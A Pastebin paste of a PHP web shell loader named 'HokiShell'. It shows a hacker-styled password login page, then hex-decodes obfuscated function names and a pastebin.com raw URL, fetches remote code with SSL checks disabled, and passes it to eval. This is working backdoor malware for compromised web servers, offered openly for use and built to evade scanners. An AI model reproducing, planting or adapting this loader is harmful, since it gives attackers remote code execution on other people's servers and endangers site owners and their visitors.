Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function is_logged_in()
- {
- return isset($_COOKIE['user_id']) && $_COOKIE['user_id'] === 'admin@h4x0rqt';
- }
- if (is_logged_in()) {
- $Array = array(
- '666f70656e',
- '73747265616d5f6765745f636f6e74656e7473',
- '66696c655f6765745f636f6e74656e7473',
- '6375726c5f65786563'
- );
- function hex2str($hex) {
- $str = '';
- for ($i = 0; $i < strlen($hex); $i += 2) {
- $str .= chr(hexdec(substr($hex, $i, 2)));
- }
- return $str;
- }
- function geturlsinfo($destiny) {
- $belief = array(
- hex2str($GLOBALS['Array'][0]),
- hex2str($GLOBALS['Array'][1]),
- hex2str($GLOBALS['Array'][2]),
- hex2str($GLOBALS['Array'][3])
- );
- if (function_exists($belief[3])) {
- $ch = curl_init($destiny);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- $love = $belief[3]($ch);
- curl_close($ch);
- return $love;
- } elseif (function_exists($belief[2])) {
- return $belief[2]($destiny);
- } elseif (function_exists($belief[0]) && function_exists($belief[1])) {
- $purpose = $belief[0]($destiny, "r");
- $love = $belief[1]($purpose);
- fclose($purpose);
- return $love;
- }
- return false;
- }
- $proto = hex2str('68747470733a2f2f');
- $host = hex2str('706173746562696e2e636f6d');
- $path = hex2str('7261772f365337706d504a76');
- $destiny = $proto . $host . '/' . $path;
- $dream = geturlsinfo($destiny);
- if ($dream !== false) {
- eval('?>' . $dream);
- }
- } else {
- if (isset($_POST['password'])) {
- $entered_key = $_POST['password'];
- $hashed_key = '$2y$10$qaYnK74P/.J4xRdIF3AkruR/7ubAcV51dfYO9IyYwACnobKkrWtoa';
- if (password_verify($entered_key, $hashed_key)) {
- setcookie('user_id', 'admin@h4x0rqt', time() + 3600, '/');
- header("Location: ".$_SERVER['PHP_SELF']);
- exit();
- }
- }
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>HokiShell Access</title>
- <style>
- body {
- margin: 0;
- padding: 0;
- height: 100vh;
- width: 100vw;
- background: #000;
- color: #00ff00;
- font-family: 'Courier New', monospace;
- overflow: hidden;
- display: flex;
- align-items: center;
- justify-content: center;
- flex-direction: column;
- }
- .ascii-art {
- white-space: pre;
- font-size: 12px;
- line-height: 1.2;
- margin-bottom: 20px;
- text-align: center;
- }
- .login-container {
- text-align: center;
- width: 300px;
- }
- .login-container form {
- display: flex;
- flex-direction: column;
- }
- .login-container input {
- background: #111;
- color: #0f0;
- border: 1px solid #0f0;
- padding: 10px;
- margin-top: 10px;
- }
- .login-container input[type="submit"] {
- background: #0f0;
- color: #000;
- font-weight: bold;
- cursor: pointer;
- }
- #typed-text {
- font-size: 16px;
- text-align: left;
- white-space: pre-wrap;
- height: 100px;
- }
- </style>
- </head>
- <body>
- <div class="ascii-art" id="ascii">
- ██████╗ ██████╗ ██╗██╗ ██╗ █████╗
- ██╔══██╗██╔══██╗██║██║ ██║██╔══██╗
- ██████╔╝██████╔╝██║██║ ██║╚█████╔╝
- ██╔═══╝ ██╔══██╗██║╚██╗ ██╔╝██╔══██╗
- ██║ ██║ ██║██║ ╚████╔╝ ╚█████╔╝
- ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚════╝
- H o k i S h e l l
- </div>
- <div id="typed-text"></div>
- <div class="login-container" style="display:none;" id="form-box">
- <form method="POST" action="">
- <label for="password"></label>
- <input type="password" id="password" name="password" required autofocus>
- <input type="submit" value="Access">
- </form>
- </div>
- <audio id="beep" src="https://www.soundjay.com/buttons/button-11.wav" preload="auto"></audio>
- <script>
- const text = "Initializing secure HokiShell environment...";
- let i = 0;
- const speed = 50;
- const el = document.getElementById("typed-text");
- const beep = document.getElementById("beep");
- function type() {
- if (i < text.length) {
- el.textContent += text.charAt(i);
- if (text.charAt(i) !== ' ' && text.charAt(i) !== 'n') beep.play();
- i++;
- setTimeout(type, speed);
- } else {
- document.getElementById("form-box").style.display = "block";
- }
- }
- type();
- </script>
- </body>
- </html>
- <?php
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement